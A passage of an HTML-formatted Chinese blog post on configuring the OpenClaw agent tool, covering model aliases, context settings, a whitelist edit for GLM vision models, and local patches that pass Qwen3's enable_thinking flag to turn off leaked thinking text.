&#34;opus&#34;</span></span><span leaf=""> }</span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">&#34;qwen/qwen-plus&#34;</span><span leaf="">:</span><span leaf="">                 {</span><span leaf=""> &#34;alias&#34;</span><span leaf="">:</span><span style="color: #889b4a;"><span leaf=""> &#34;qwen&#34;</span></span><span leaf=""> }</span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">&#34;openai/gpt-5.2&#34;</span><span leaf="">:</span><span leaf="">                 {</span><span leaf=""> &#34;alias&#34;</span><span leaf="">:</span><span style="color: #889b4a;"><span leaf=""> &#34;gpt&#34;</span></span><span leaf=""> }</span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">比如临时想用 Claude 自查故障，直接 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/model opus</span></code><span leaf=""> 切过去就行，不用记完整的 provider/model-id。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">上下文管理</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">大模型对话的上下文窗口有限，长对话必须做裁剪。OpenClaw 提供了几种策略，当前用的是 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">cache-ttl</span></code><span leaf=""> 模式，TTL 设为 2 小时——超过 2 小时没被引用的上下文会被清理掉。配合 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">compaction: safeguard</span></code><span leaf=""> 模式，在裁剪前会做安全检查避免丢掉关键信息。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">并发方面，主 Agent 限制 8 个并发请求，子 Agent（搜索、工具调用等）放宽到 16 个。对个人使用绰绰有余。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">视觉模型</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">GLM-4.7 是纯文本模型，图片理解得用 GLM-4V 系列。但 OpenClaw 内部的模型前缀白名单（</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">live-model-filter.js</span></code><span leaf="">）默认只放行 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">glm-4.7</span></code><span leaf=""> 开头的模型 ID，</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">glm-4v/glm-4.6v</span></code><span leaf=""> 直接被拦，返回 &#34;Model not allowed&#34;。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">改法是往白名单数组里加一项：</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span leaf="">sed -i</span><span style="color: #889b4a;"><span leaf=""> &#39;&#39;</span></span><span style="color: #889b4a;"><span leaf=""> &#39;s/const ZAI_PREFIXES = \[&#34;glm-4.7&#34;\]/const ZAI_PREFIXES = [&#34;glm-4.7&#34;,&#34;glm-4.6v&#34;]/&#39;</span></span><span leaf=""> \</span><span leaf=""><br/></span><span leaf="">  /opt/homebrew/lib/node_modules/openclaw/dist/agents/live-model-filter.js</span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">这是 dist 下的编译产物，升级就被覆盖，想一劳永逸的话可以参考下文提到的补丁脚本。</span></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 data-heading="true" style="display: table;margin: 4em auto 2em;color: #fff;background: #009874;font-weight: bold;text-align: center;padding: 0.3em 1em;border-radius: 8px;font-size: 20.8px;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);"><span leaf="">Qwen3 Thinking 泄露：</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">几乎所有主流大模型都遵循 </span><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">“不向用户暴露真实内部推理链”</span></strong><span leaf=""> 的安全规则。像 DeepSeek 这样的「伪 CoT / 显式推理层」，本质上也是 </span><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">解释性推理文本</span></strong><span leaf="">，而不是模型内部真实的推理轨迹。如果你在提示词写了“展示推理步骤”“详细分析”“结构化思考”之类（多见于第三方套壳应用，为了看起来“更高级、更拟人”），模型会模拟一个推理过程给你，但那只是经过训练的格式化输出，是“展示给用户看的推理解释”，不是内部真实权重更新。</span><span leaf=""><br/></span><span leaf="">qwen3 默认开启 Thinking 模式——类似 o1 的 Chain-of-Thought，模型先内部推理再给最终答案。问题是 OpenClaw 没有正确分离 thinking content 和 final answer，用户看到的回复里混进了推理过程，并且没有</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">&lt;think&gt;...&lt;/think&gt;</span></code><span leaf=""> 标签包裹，想过滤都难：</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">发送消息：</span></p><blockquote style="background: #f7f7f7;font-style: italic;padding: 1em 1em 1em 2em;border-left: 4px solid #009874;border-radius: 6px;color: rgba(0, 0, 0, 0.6);box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05);margin-bottom: 1em;"><p style="display: block;font-size: 1em;letter-spacing: 0.1em;color: #3f3f3f;margin: 0;"><span leaf="">说句话</span></p></blockquote><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">预期效果：</span></p><blockquote style="background: #f7f7f7;font-style: italic;padding: 1em 1em 1em 2em;border-left: 4px solid #009874;border-radius: 6px;color: rgba(0, 0, 0, 0.6);box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05);margin-bottom: 1em;"><p style="display: block;font-size: 1em;letter-spacing: 0.1em;color: #3f3f3f;margin: 0;"><span leaf="">好的。</span></p></blockquote><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">实际上：</span></p><blockquote style="background: #f7f7f7;font-style: italic;padding: 1em 1em 1em 2em;border-left: 4px solid #009874;border-radius: 6px;color: rgba(0, 0, 0, 0.6);box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05);margin-bottom: 1em;"><p style="display: block;font-size: 1em;letter-spacing: 0.1em;color: #3f3f3f;margin: 0;"><span leaf="">用户让我说句话，这是明确的指令。我应该简单回应。好的。</span></p></blockquote><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">排查过程</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">第一反应以为用 OpenClaw 自带的 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/think off</span></code><span leaf=""> 就能关闭 Qwen3 的思考文本，但实践证明这完全无效。原因很简单：</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/think off</span></code><span leaf=""> 控制的是 OpenClaw 自身的推理增强逻辑，和 Qwen3 的原生 Thinking 模式毫无关系。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">接着开始病急乱投医，尝试在 SOUL.md 里加入大量 Output Rules，明确禁止输出自我分析和内心独白，甚至列了具体的禁止模式（&#34;我应该...&#34;、&#34;这是在测试...&#34;之类的）。这些提示规则对普通格式确实有效，但对 Qwen3 的 Thinking 完全压不住——因为这不是提示控制范围的问题，而是模型在架构层启用的能力，根本不受 Prompt 影响。就像你无法仅通过提示让 o1 “停止思考”一样。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">阅读了阿里千问的开发文档，</span><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">hybrid-thinking 模式就是靠 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">enable_thinking</span></code><span leaf=""> 控制</span></strong><span leaf="">：</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">true</span></code><span leaf=""> 会先思考再回答，</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">false</span></code><span leaf=""> 直接回答。正确的做法是在 API 请求里传 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">enable_thinking: false</span></code><span leaf="">。千问的 OpenAI 兼容接口支持这个参数。但在 OpenClaw 配置里加 extraParams 传这个字段，发现请求里死活没有。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">在网上搜索了多个技术社区的openclaw相关话题，也有不少人提过：想把“厂商特有参数”原样塞进请求体，遗憾的是只有提问没看到解决方法，但是获得了一个重要线索，OpenClaw 在发 API 请求前有一个参数白名单过滤机制，只允许预定义的参数通过（temperature、top_p 这些），其他一律丢弃。</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">enable_thinking</span></code><span leaf=""> 不在白名单里，被静默过滤了。</span></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">修复：打通参数透传的两个阻塞点</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">参数从用户配置到最终 API 请求经过两层处理，都要改。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">第一层：extra-params.js</span></strong><span leaf="">（OpenClaw 的参数处理层）</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">位置：</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.../dist/agents/pi-embedded-runner/extra-params.js</span></code></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">在白名单校验之前插入透传逻辑：</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">3</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span style="color: #98676a;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #98676a;"><span leaf="">typeof</span></span><span leaf=""> extraParams.</span><span leaf="">enable_thinking</span><span leaf=""> ===</span><span style="color: #889b4a;"><span leaf=""> &#34;boolean&#34;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">    streamParams.</span><span leaf="">enable_thinking</span><span leaf=""> = extraParams.</span><span leaf="">enable_thinking</span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">这里用 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">typeof === &#34;boolean&#34;</span></code><span leaf=""> 而不是简单的 truthy check 是有讲究的——</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">enable_thinking: false</span></code><span leaf=""> 在 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">if (extraParams.enable_thinking)</span></code><span leaf=""> 里会被判为 falsy 直接跳过，恰恰是你最需要传的那个值传不出去。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">第二层：openai-completions.js</span></strong><span leaf="">（底层 HTTP 请求构造层）</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">位置：</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.../node_modules/@mariozechner/pi-ai/dist/providers/openai-completions.js</span></code></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">这个文件是 pi-ai 库的一部分，负责组装最终发给 API 的 HTTP Body。在 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">buildParams</span></code><span leaf=""> 函数的 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">return params</span></code><span leaf=""> 前加：</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">3</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span style="color: #98676a;"><span leaf="">if</span></span><span leaf=""> (options?.</span><span leaf="">enable_thinking</span><span leaf=""> !==</span><span style="color: #f79a32;"><span leaf=""> undefined</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">    params.</span><span leaf="">enable_thinking</span><span leaf=""> = options.</span><span leaf="">enable_thinking</span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></p></div></div></code></pre><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">注意：文件里有两处 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">return params</span></code><span leaf="">，分别在 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">buildParams</span></code><span leaf="">（约 385 行）和 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">convertMessages</span></code><span leaf="">（约 639 行）函数中。只能改前者。</span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">convertMessages</span></code><span leaf=""> 的函数签名里没有 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">options</span></code><span leaf=""> 参数，在那里访问 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">options?.enable_thinking</span></code><span leaf=""> 虽然不会报错（可选链返回 undefined），但改错了等于白改——参数还是传不到 HTTP Body 里。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: #009874;font-weight: bold;font-size: inherit;"><span leaf="">配置关闭 Thinking：</span></strong></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">3</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">4</span></p></div><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;flex: 1 1 auto;overflow-x: auto;overflow-y: visible;padding: 8px;min-width: 0;box-sizing: border-box;"><p><span leaf="">OpenClaw config</span><span style="color: #f79a32;"><span leaf=""> set</span></span><span leaf=""> agents.defaults.models.dashscope/qwen3-max-2026-01-23 \</span><span leaf=""><br/></span><span style="color: #889b4a;"><span leaf="">  &#39;{&#34;params&#34;:{&#34;enable_thinking&#34;:false}}&#39;</span></span><span leaf=""><br/></span><span leaf="">OpenClaw config</span><span style="color: #f79a32;"><span leaf=""> set</span></span><span leaf=""> agents.defaults.models.dashscope/qwen3-coder-plus \</span><span leaf=""><br/></span><span style="color: #889b4a;"><span leaf="">  &#39;{&#34;params&#34;:{&#34;enable_thinking&#34;:false}}&#39;</span></span></p></div></div></code></pre><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;line-height: 1.2;padding-left: 12px;font-size: 19.2px;border-left: 4px solid #009874;border-bottom: 1px dashed #009874;"><span leaf="">补丁脚本</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">以上源码修改都在 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">node_modules</span></code><span leaf=""> 或 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">dist</span></code><span leaf=""> 目录下，升级就没了。维护了一个 </span><code style="font-size: 90%;color: #d14;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.openclaw/patches/apply-patches.sh</span></code><span leaf=""> 做自动化修补。</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">看一下脚本的设计思路：</span></p><pre style="background: #221a0f;color: #d3af86;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05);padding: 0 !important;"><code style="font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;font-family: &#39;Fira Code&#39;,
    Menlo,
    Operator Mono,
    Consolas,
    Monaco,
    monospace;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;display: flex;align-items: flex-start;overflow-x: hidden;overflow-y: auto;width: 100%;max-width: 100%;padding: 0;box-sizing: border-box;"><div style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: right;padding: 8px 0;border-right: 1px solid rgba(0,0,0,0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0 !important;"><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;margin-top: 0 !important;"><span leaf="">1</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">2</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">3</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">4</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">5</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 16px;text-align: left;padding: 0 10px 0 0;line-height: 1.75;"><span leaf="">6</span></p><p style="font-family: -apple-system-font,BlinkMacSystemFont, 